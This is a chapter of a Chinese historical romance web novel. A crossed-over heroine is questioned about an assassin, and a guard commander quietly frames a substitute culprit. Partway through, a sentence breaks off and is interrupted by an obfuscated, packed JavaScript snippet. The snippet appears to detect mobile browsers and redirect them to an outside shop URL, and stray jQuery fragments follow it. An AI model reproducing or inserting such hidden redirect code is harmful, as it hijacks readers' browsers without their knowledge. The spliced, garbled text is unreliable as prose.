“姑娘莫要自谦。”张维桢言辞恳切,眉宇染上一丝惭色,“在那等生死攸关的危急时刻,姑娘还有舍生取义的决心,便是孤…也自愧弗如。”
他略顿一下,歉然道:“此等祸事,定是父王朝中的仇家所为,倒是连累了姑娘,幸而姑娘福泽深厚,孤心难安,带了府中的郎中来,还望姑娘允准他诊治。”
张维桢不禁高看方黛一眼,除了最初的惊艳,更多了几分敬重。
方黛并未推辞,毕竟她也想知道自己身体的状况。
郎中神色严谨,细细切脉,又查看了伤口,眉头紧皱口中喃喃道:
“奇哉奇哉,这姑娘心脉竟比旁人偏移了三分,故而那致命一刀险而又险地避开了心窍要害,这才死里逃生。”
方黛心下微微诧异,没想到竟然是这样。
但她猜,娇娘应该还是死于失血过多,自己穿过来后这具身体才活了过来。
而一旁静立的秦钦绝,双眸几不可察地微微一眯。
心脉偏移?
接着,郎中又配了几包药,叮嘱她好好养身体云云。
张维桢语气缓和:“姑娘,孤还有一事相询,你既曾与刺客打过照面,可曾记得他的模样或特征?声音、身型,任何细节都至关重要。”
方黛眼帘低垂,轻轻摇头:“他蒙着面,奴家惊慌之下并未看清,至于特征……”
“她先前说,如臣一般,别无二致。”一道低沉清冽的声音打断她的话。
秦钦绝将目光锁定在他身上,语气平淡,字字清晰。
张维桢先是一愣,随即看向方黛的眼神中带着疑惑和探究。
“娇娘姑娘,此言非同小可……”
方黛咬了咬唇打断他的话,“许是奴家当时太紧张了,奴家当时刚出来第一个见到的人便是秦卫主,或许不由自主将二人联想在一起。”
她又深吸一口气,“劳烦世子和卫主再给奴家一点时间。”
她说的有道理,张维桢拱手道:“姑娘说的极是,但孤心急迫,欲查明真凶尽快给父王报仇,还劳烦姑娘细细想来。”
“本卫主已命画师前来,你且随画师去细细想来那贼人的模样。”
方黛点了点头,福身退去。
直到走出主殿的那一刻,她才感觉如获大赦。
但马上她就后悔了。
那画师问的问题太细致了。
“虽蒙着面,但脸型轮廓可能透出。是方脸、圆脸、长脸,还是尖瘦下巴?”
“眼睛是至关重要之处。是大是小?是单眼皮还是双眼皮?眉毛是浓是淡,是平直还是上扬?眼神是凶戾、冷漠,还是慌张?”
“额头是否宽阔?耳朵的形状可留意?耳垂大小,是否贴面?”
方黛磕磕绊绊总算是让这画师画出来了。
只是画师举着那画,眉头却死死的锁起,脸上写满了职业尊严遭受重创的迷茫和羞愧。
玄乙有些不耐道:“陈画师,有什么问题吗?”
陈画师立马垂首躬身行礼,“大人,按照这位小姐描述画出来的…这…这…”
玄乙快步上前直接夺过画纸,只一眼,他怒火一下燃起来。
“蹭——”冷白的剑抵在方黛脖子上。
“你这女人,先前污蔑卫主,如今又画出个这个玩意儿!你是何居心!”
方黛倒吸一口气,目光锁在银白的剑上。
她尾音微颤:“大人…大人息怒,可否容忍奴家先看看?”
玄乙收回剑,将画纸递给她。
好家伙!
这是画了个什么鬼出来。
画纸上的人仿佛是用几种互不兼容的肢体拼凑成的怪物。
方黛深吸一口气,讨好道:“大人,奴家实在是有些记不太清了,这两日都没休息好,能否给奴家一点时间?”
玄乙冷哼了一声,收起剑拿着画纸便走了,似乎默认了她的话。
见人越走越远,方黛这才松了口气。
不行,自己必须要想个法子。
但是比她的办法来得更快的是别人的办法。
次日,秦钦绝拿着食盒过来找她。
“秦卫主。”方黛施施然行礼。
天杀的,这个杀神怎么过来了?
秦钦绝顺势将食盒搁在木桌上,“本卫主听说昨日陈画师画不出凶手的模样。”
听罢,方黛心虚地眨了眨眼:“这…或许是奴家记不太清了,也或许是陈画师太紧张了吧。”
这锅不能自己一个人背。
“无妨。”秦钦绝不知从哪里掏出一叠画像,“本卫主按照昨日的画像,今日带了一些过来,你看看,可有相似的?”
方黛的目光落在他手中那叠纸上,连带呼吸都有些急促。
她知道,或许她随意指认一个人就可以了。
但就是这个随意,可能会让她害另一个无辜之人锒铛入狱。
秦钦绝看出她眸中的担忧,鬼使神差地解释了一句:“画像上的人,都是一些该死之人。”
方黛收回目光,眼中的愧疚也消散三分。
她伸出手,“卫主交给奴家吧。”
一时间,四下寂静,只有方黛翻页的“沙沙——”声。
净房一侧的窗子洒下些晨阳,刚好落在方黛认真的眉眼上。
秦钦绝看着这一幕,脑中不由自主蹦出“赏心悦目”四字。
方黛自认为选出了一个看起来最凶狠的人交给秦钦绝。
秦钦绝唇角微弯,他只说是该死之人,却没说是怎样的死法。
这叠纸中,有本就犯罪了的死刑犯,也有千金买来的无辜命。
但到底人家也拿了钱,是桩你情我愿的交易。
“好,多谢娇娘姑娘提供的证据,本卫主就不打扰了。”
方黛看着秦钦绝离去的背影,想着这件事估摸着没几天应该就有着落了。
而对于秦钦绝来说,这是桩开卷案。
先有了凶手,再去安排线索、动机,倒是本末倒置了。
一连三日,秦钦绝都没再出现。
“卫主,属下已经按照计划把所有线索布好了,现在只等一个意外。”玄甲单膝跪在正堂主位之下,这是卫主给他将功赎罪的机会。
秦钦绝语气平淡,“嗯。”
现在的意外就是有人能在醉春苑外发现他们留下的“罪证”。
这时,玄乙走进,“爷,牢里那位怕是挺不下去了。”
秦钦绝唇角微勾:“是谁?准备招供了吗?”
每日在他诏狱里挺不下去的人多了去。
玄乙撇撇嘴:“不是的,属下说的是爷带回来的那个花魁。”
秦钦绝懊恼地揉了揉太阳穴,险些忘了这茬。
玄乙又道:“虽说净房已经是缇骑卫最好的房间了,但也净房暗冷阴湿的,小姑娘受不了,这起了高热……”
他还没说完只见秦钦绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17058939|194957||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
已经起身迈步前去了。
若有心的人便会发现,他这步伐比平时要快上不少。
“怎么还杵在这里?还不快去请郎中?”
秦钦绝想起那人的模样。
怎的,脸娇这身子也娇得很。
等他到了净房,果然方亭业正跪在床沿边哭。
看见来人,方亭业抽噎道,“卫主,秦卫主求求你救救阿姐。”
秦钦绝看着床上那人,“本卫主已经命人去请郎中了,你别急。”
一刻钟后,郎中喘着粗气到了净房,额上细密的汗珠还未来及擦拭,便被秦钦绝一把拉到床边。
郎中可不敢得罪眼前这位,颤巍巍伸出三指,轻轻搭在方黛的手腕上。
指尖传来的脉象让他眉头紧锁。
“秦卫主。”郎中收回手,言辞谨慎,“姑娘此症,乃急热内郁,兼有气血大亏之象。这热势来得凶险,非寻常风寒可比。”
郎中略作停顿,目光不露痕迹地扫过这间净室,终于还是硬着头皮,拱手道:
“请恕小人直言。病人此刻正气最虚,邪气最盛,此地……此地阴寒凝滞之气过重,小人斗胆建言,若能移至向阳、通风、之处将养,于病情康复,当有百利而无一害。”
他说完,便深深低下头,不敢再看秦钦绝的脸色。
这话已近乎在质疑缇骑卫诏狱的安排,但他身为医者,又受命诊视,职责所在,不得不言。
听罢此话,秦钦绝眉头紧锁,对着玄乙问道:“缇骑卫有这样的地方吗?”
玄乙想说:有,但那里都是老爷们儿待着的地方,怎么适合眼前这个娇娘。
“爷,缇骑卫没有。”
秦钦绝眉头锁得更甚。
方亭业死死咬着唇,似乎在等秦钦绝的判定。
方黛此刻仍有意识,只是懒得说话,但她怕秦钦绝把她送回醉春苑。
到时候段妈妈一剂猛药下去,肯定要逼她接客。
“大人…咳咳…”
听到方黛的动静,最先有反应的是方亭业,他连忙半跪到床边。
“阿姐,阿姐你醒了,感觉怎么样。”
方黛顺势握着他的手:“咳咳,阿姐没事…”
而后,她又看向秦钦绝:“大人,奴家…咳咳现在不适宜回醉春苑…奴..咳咳奴家怕回去触景生情又想…想起来些什么…”
要挟!
赤裸裸的要挟!!
倒是他小看了这女子。
她的意思分明是回去之后怕又把凶手想成自己的模样。
秦钦绝气极反笑:“好,很好。将人送到卫主府去。”
待这案子尘埃落地,看她还有什么把戏!
身侧的玄乙因为惊于这个决定瞪大了眼睛,像被钉在原地,迟迟没有应声。
秦钦绝等了片刻,不见动静,侧目扫来眼神冷厉:“还不去安排?”
玄乙浑身一凛:“是,属下即刻去办!”
卫主府比起缇骑卫的净房好上不是一星半点。
方黛非常有自知之明,虽是同住一屋檐,但她不会不识趣地出现在秦钦绝面前。
秦钦绝还派了两个婢女贴身照顾她,婢女倒是尽心尽责。
只是听她俩私下谈论过:“莫不是卫主终于开了情窍?这可是府上第一次住进女子。”
“慎言!切莫谈论卫主。”
方黛听到时,心中微微一动,似乎起了什么主意……